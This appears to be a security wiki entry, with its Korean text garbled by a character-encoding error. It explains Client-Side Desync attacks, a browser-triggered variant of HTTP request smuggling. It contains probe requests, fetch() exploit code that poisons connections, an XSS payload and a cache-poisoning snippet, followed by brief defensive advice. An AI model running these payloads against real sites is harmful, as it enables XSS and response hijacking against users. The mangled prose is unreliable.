๐ Introduction
Client-Side Desync(CSD) Attack์ HTTP Request Smuggling(HRS, Desync Attack)์ ํ ์ข ๋ฅ๋ก ๊ธฐ์กด์ HRS๊ฐ Browser๊ฐ ์ ์กํ ์ ์๋ ํํ์ HTTP Request๋ฅผ ์์๋ก ์ ์กํ์ฌ ์๋ฒ ๋๋ ๊ด๋ฒ์ํ ์ฌ์ฉ์๋ฅผ ๋์์ผ๋ก ์ํฅ์ ๋ผ์ณค๋ค๋ฉด CSD๋ Browser๋ฅผ ํตํด ์ ์กํ ์ ์๋ ํํ์ Smuggling์ผ๋ก Self-smuggling(๋ณดํต HTTP Pipelining์ด๋ผ๊ณ ์ด์ผ๊ธฐํ์ฃ ) ๋ฑ์ ์ผ์ด์ค์์ ์ํฅ๋ ฅ์ ๋ง๋ค์ด๋ผ ์ ์๋ ๊ธฐ์ ์ ๋๋ค.
์ด๋ฅผ ํตํด์ ํผํด์์ ์น ๋ธ๋ผ์ฐ์ ๊ฐ ์ทจ์ฝ ์น ์ฌ์ดํธ๋ฅผ ๋ฐฉ๋ฌธํ ๋ ๋ฐ์ํ๋ Connectrion์ ๋น๋๊ธฐํ ์ํค๊ณ TCP/TLS ์์ผ์ ๊ณต๊ฒฉ์๊ฐ ์๋ํ ๋ฐ์ดํฐ(malicious prefix)๋ฅผ ๋จ๊ฒจ์ ๋ค์ Connection์์ ํธ๋ฆฌ๊ฑฐ ์ํค๋ ํํ๋ก ๋์ํฉ๋๋ค.
์ค์ ๊ณต๊ฒฉ์ ํฌ๊ฒ ์๋ ํ๋ก์ฐ๋ก ์ด๋ฃจ์ด์ง๋๋ค.
- ํผํด์๊ฐ ๊ณต๊ฒฉ์ฝ๋๊ฐ ์ฝ์ ๋ ํ์ด์ง ์ ๊ทผ (์ ์ฑ ์ฌ์ดํธ ๋๋ XSS๊ฐ ์ฝ์ ๋ ์๋น์ค ํ์ด์ง)
- ํผํด์์ ๋ธ๋ผ์ฐ์ ๋ ์ทจ์ฝ ์๋ฒ๋ก ์น ์์ฒญ์ ์ ์กํจ. ์ด ๋ Body์๋ Smuggling ์์ฒญ์ด ํฌํจ๋จ
- ์๋ฒ๊ฐ Response๋ฅผ ์ฃผ๊ณ ๋จ์ ๊ณต๊ฒฉ์๊ฐ ์๋ํ ๋ถ๋ถ์ด TCP/TLS ์์ผ์ ๋จ์ ์ํ๋ก ์ฐ๊ฒฐ ์ข ๋ฃ
- ๋ค์ ์์ฒญ์์ ๊ณต๊ฒฉ์๊ฐ ์๋ํ ๋ถ๋ถ์ด Prefix๋ก ๋ถ์ด ์ ์์ ์ธ ์น ์์ฒญ์ด ์ฒ๋ฆฌ๋จ
์ฐธ๊ณ ๋ก ํด๋น ๊ธฐ์ ์ ๊ธฐ๋ณธ์ ์ผ๋ก HTTP Request Smuggling(HRS)์ ๋ํ ์๋ฆฌ์ ์์ฉ์ ๋ํ ์ดํด๊ฐ ํ์ํฉ๋๋ค. HRS๊ฐ ๊ถ๊ธํ๋ค๋ฉด Cullinan > HTTP Request Smuggling (HRS) ๋ฌธ์๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
๐ก Offensive techniques
Detect
Probe
CSD๋ฅผ ์ฐพ๊ธฐ ์ํด์ ๊ฐ์ฅ ๋จผ์ Content-Length ํค๋๋ฅผ ๋ฌด์ํ๋ ๊ตฌ๊ฐ์ ์ฐพ์์ผํฉ๋๋ค. ์ด ๋ ์ฌ์ด ๋ฐฉ๋ฒ์ผ๋ก๋ CL:TE Smuggling๊ณผ ๋น์ทํ๊ฒ ํค๋๋ก ๋ช ์ํ ์ค์ Body ํฌ๊ธฐ๋ณด๋ค ๋ ํฐ Content-Length๋ฅผ ํค๋๋ก ์ ์กํ์ฌ ์๋ฒ๊ฐ ๊ธฐ๋ค๋ฆฌ๋์ง ํ์ธํ๋ ๋ฐฉ๋ฒ์ ๋๋ค. ๋ณดํต Content-Length๊ฐ Body๋ณด๋ค ํฐ ๊ฒฝ์ฐ ๋ฐฑ์๋ ์๋ฒ๋ ์ถ๊ฐ๋ก ๋ฐ์ดํฐ๋ฅผ ๋ฐ๊ธฐ ์ํด ๋๊ธฐํ๊ฒ ๋๊ณ ๋๋ ์ด๊ฐ ๋ฐ์ํฉ๋๋ค.
POST /api/me HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 999
aaaa
๋ค๋ง ๋๋๋ก ์ด๋ค ์๋ฒ๋ค์ ๋๊ธฐํ์ง ์๊ณ ์ฆ์ ์๋ตํ๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ์ด๋ฌํ ๊ฒฝ์ฐ ์๋ฒ๊ฐ CL ํค๋๋ฅผ ์ ๋ขฐํ์ง ์๋ ์ํ๋ก CSD๊ฐ ๋ฐ์ํ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. ๋ณดํต ์๋ Endpoint ๋ค์์ ์์ฃผ ๋ฐ์ํฉ๋๋ค.
- POST๋ฅผ ๊ธฐ๋ํ์ง ์๋ API Endpoint
- Static Files
- Error Page
Connection check
์ด์ Connection์ด ์ ์ง๋๋์ง ํ์ธ์ด ํ์ํฉ๋๋ค. Smuggling์ ๊ธฐ๋ณธ์ ์ธ ๋์์ Connection ํ๋์ 2๊ฐ ์ด์์ HTTP Request๋ฅผ ํฌํจํ๊ณ , ์ด๋ฅผ ์๋ฒ๊ฐ ์ฒ๋ฆฌํ๋ ๊ณผ์ ์์ 2๊ฐ๋ก ๋ถ๋ฆฌ์ํค๋ ๋ฐฉ๋ฒ์ธ๋ฐ, ์ด๋ CSD Attack์์๋ ๋์ผํ๊ฒ ์์ฉํฉ๋๋ค.
์ฒดํฌ๋ฅผ ์ํ ์ข์ ๋ฐฉ๋ฒ ์ค ํ๋๋ CL.0๋ H2.0๊ณผ ๊ฐ์ด ์ ์์ ์ธ ํค๋๋ง์ ์ฌ์ฉํ๋ Smuggling์ ์ ๋ํ๋ ๋ฐฉ๋ฒ์ ๋๋ค. CL.0๋ H2.0๋ก ํ๋์ Connection์ผ๋ก ์ ์กํ ์์ฒญ์ด ๋๋์ด ์ฒ๋ฆฌ๋๋ค๋ฉด Smugggling์ด ๊ฐ๋ฅํฉ๋๋ค.
CL.0 Smuggling
CL.0๋ ๊ธฐ์กด Smuggling๊ณผ ๋์ผํ๊ฒ ๋จผ์ Smuggle ์์ฒญ์ ์ ์กํ ํ ์ ์ก ์์ฒญ์ ์ถ๊ฐ ์ ์กํ์ฌ ์๋ฒ์ ๋ฐ์์ ์ดํด์ ์ ์ ์์ต๋๋ค. Body์ 404๋ฅผ ์ ๋ํ๋ ๋ฐ์ดํฐ๋ฅผ ๋ฃ๊ณ POST ์์ฒญ์ ์ ์กํฉ๋๋ค.
POST /api/me HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
GET /hopefully404 HTTP/1.1
Foo: x
HTTP/1.1 200 OK
์ด ๋ ๊ธฐ์กด HRS๋ผ๋ฉด Content-Length๋ Transfer-Encoding ๋ฑ์ ์ด์ฉํด ์์ฒญ์ ์๋๊ฒ ์ง๋ง, CSD ์ผ์ด์ค์์ ์ ์ Content-Length๋ก ์ ์กํฉ๋๋ค. ์ดํ ํ์์์ฒญ์ ์ ์กํ์ ๋ 404๊ฐ ์ ๋๋์๋ค๋ฉด Smuggling ์ฆ CSD์ ์ทจ์ฝํ ์ํ๋ก ์๋ณํ ์ ์์ต๋๋ค.
GET / HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 404 Not Found
๋ณดํต์ POST๋ฅผ ์ง์ํ์ง ์๋ ํ์ด์ง์์ ์์ ๊ฐ์ด ํธ์ถํ๋ ๊ฒฝ์ฐ ๋ฐ์ํ ํ๋ฅ ์ด ๋์ต๋๋ค.
H2.0 Smuggling
H2.0๋ ๋ํ ์ ์์ ์ธ HTTP Request๋ก ์ ์กํ์ฌ Smuggling์ ์ ๋ํฉ๋๋ค.
POST /api/me HTTP/2
Host: vulnerable-website.com
Content-Length: 34
GET /hopefully404 HTTP/1.1
Foo: x
Scanning
๋ณดํต์ ๊ฒฝ์ฐ ์ง์ CSD๋ฅผ ์ํด ์ฐพ๋๋ค๊ธฐ ๋ณด๋จ HRS๋ฅผ ์ฐพ๋ ๊ณผ์ ์์ CL.0, H2.0 ์ด์๋ฅผ ๋ฐ๊ฒฌํ๋ฉด ๊ฐ์ด ํ ์คํธํด๋ณด๋ ํํ๋ก ์์ ์ ์งํํ๋ ๊ฒ์ด ์์ํฉ๋๋ค. ๊ทธ๋์ Smuggling ์๋ณ์ ์ํ ์ค์บ๋ ์์ ์์ ํํธ๋ฅผ ์ป๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
๋ค๋ง ์์ฝ๊ฒ๋ ๊ธฐ์กด์ ์ ์๋ ค์ง CLI ๊ธฐ๋ฐ ๋๊ตฌ๋ค์ CL.0, H2.0๋ฅผ ๋ชจ๋ ์ง์ํ์ง ๋ชปํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. BurpSuite์ HTTP Request Smuggler๊ฐ ์ค์บ ์ฑ๋ฅ์ผ๋ก๋ ๊ฐ์ฅ ์ข๋ค๊ณ ํ๋จ๋ฉ๋๋ค.
Exploitation
๋ง์ฝ CSD Attack์ ํฌ์ธํธ๋ฅผ ์ฐพ์๋ค๋ฉด ์ด์ ๋ธ๋ผ์ฐ์ ์์ CSD ์ฝ๋๊ฐ ๋์ํ ์ ์๋๋ก ์์ฑํฉ๋๋ค. ๊ธฐ์กด HRS๊ฐ ๋น์ ์ ํค๋๋ฅผ ์ด์ฉํ ๋ฐฉ๋ฒ์ด์๋ค๋ฉด CSD๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ธ๋ผ์ฐ์ ์์ ๋์ํ๋ ๊ฒ์ ์ ์ ํ๊ธฐ ๋๋ฌธ์ fetchํ๋ ์ฝ๋๋ก ๋์ ์์ผ์ผํฉ๋๋ค.
fetch('https://vulnerable-website.com/api/me', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nFoo: x",
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://vulnerable-website.com/' // use the poisoned connection
})
์ด ๋ mode๋ฅผ no-cors
๋ก ์ฃผ๋๋ฐ, ์ด๋ ํฌ๋กฌ์์ ๋จ์ผ connection ID๋ก ํ์ํ๊ธฐ ์ํ ํธ๋ฆญ์ผ๋ก ๋๋ฒ๊น
์ ์ฝ๊ฒ ํด์ค ์ ์์ต๋๋ค. ๊ตณ์ด ํ์ํ์ง ์์ ๋ถ๋ถ์ด๋ ์ ์ธํ์
๋ ๋ฉ๋๋ค.
XSS
ํ๋์ Request๋ก 2๊ฐ์ Response๋ฅผ ๋ฐ์ ์ ์๊ธฐ ๋๋ฌธ์ Content-Type์ด text/html์ธ ํ์ด์ง๋ฅผ ํธ์ถํ๊ณ , ๋๋ฒ์งธ ์์ฒญ์์ JSON XSS(XSS Weakness ์ฐธ๊ณ ) ๊ฐ์ด ์ํฅ์๋ Reflected์ Type์ ๋ฐ๊ฟ์ฃผ๋ ํํ๋ก ๋ฆฌ์คํฌ์ ์ด ๊ฐ๋ฅํฉ๋๋ค.
fetch('https://vulnerable-website.com/api/me', {
method: 'POST',
body: `HEAD /404/?cb=123 HTTP/1.1\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors'
}).catch(() => {
location = 'https://vulnerable-website.com/'
})
POST /api/me HTTP/1.1
Host: vulnerable-website.com
Content-Length: 72
HEAD /404/?cb=123 HTTP/1.1
GET /x?<script>evil() HTTP/1.1
X: YGET / HTTP/1.1
Host: vulnerable-website.com
Cache Poisoning
CSD๋ฅผ ์ด์ฉํ๋ฉด ๊ณต๊ฒฉ์ ๋ณธ์ธ์๊ฒ๋ง ์ํฅ์ ๋ฏธ์น๋ Cache Poisoning์ ํ์ธ์ ๊ณต๊ฒฉํ ์ ์๋ Cache Poisoning์ผ๋ก ๋ฐ๊ฟ ์ ์์ต๋๋ค. ๋ง ๊ทธ๋๋ก ๋ธ๋ผ์ฐ์ ์์ ์บ์ฑํ๊ธฐ ๋๋ฌธ์ ํฌ์ธํธ๋ง ๋๋ค๋ฉด ์ฝ๊ฒ ์ ์์ ์ธ Response๋ฅผ ์บ์์ํค๊ณ , ๊ณต๊ฒฉ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
fetch('https://redacted/', {method: 'POST', body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y", credentials: 'include'}).catch(() => { location='https://redacted/+CSCOE+/win.js' })
Etc
Smuggling๊ณผ ๋ง์ฐฌ๊ฐ์ง๊ณ ์๋น์ค์ ๊ตฌ์ฑ, ๋์์ ๋ฐ๋ผ์ ์ ์ฉํ ๋ฐฉ๋ฒ์ ๊ต์ฅํ ๋ง์ต๋๋ค.
๐ก Defensive techniques
CSD Attack์ HTTP Request Smugglin๊ณผ ๋ค๋ฅด๊ฒ ์ ์ ํค๋๋ก ์ ์ก๋ฉ๋๋ค. ๊ทธ๋์ ๊ธฐ์กด์ WAS๋ ๋คํธ์ํฌ ์ฅ๋น๋จ์์ ์ฐจ๋จํ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง๊ณ , ์๋น์ค๋จ ๋ก์ง์์ ์ง์ ๋์์ด ํ์ํ ์ ์์ต๋๋ค.
์์ฒญ์ ์ฒ๋ฆฌํ ๋ ์๋ฒ๋จ์์์ ์์ธ(e.g GET๋ง ์ฌ์ฉํ๋ API์ Body๊ฐ ์ ๋ฌ๋์๋ค ๋ฑ)๊ฐ ๋ฐ์ํ๋ฉด Connection์ Close ํด์ฃผ๋๊ฒ ์ข์ต๋๋ค.
์ฌ์ค ๋์๋ฐฉ์์ด ์ข์ API ์์ฑ๊ณผ๋ ์์ ๋ฐ๋์ ๋ด์ฉ์ด๋ผ ์ค์ ์ผ์ด์ค์์ ๋์ํ๊ธฐ๋ ๊ต์ฅํ ๊น๋ค๋กญ์ต๋๋ค. ๋จ์ํ ์ฝ๋๋จ์์๋ง ๋์ํ๋๊ฒ ์๋๋ผ ์๋จ์ ์๋ฒ ๋ฑ์์๋ ์ถฉ๋ถํ ๋์ํ ๋ฐฉ๋ฒ์ ๊ณ ์ํ ์ ์์ผ๋ ์๋น์ค ํ๊ฒฝ์ ๋ง๊ฒ ๊ณ ๋ฏผํ๊ณ ๋์ํ๋ ๊ฒ์ด ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ด๋ผ๊ณ ์๊ฐํฉ๋๋ค.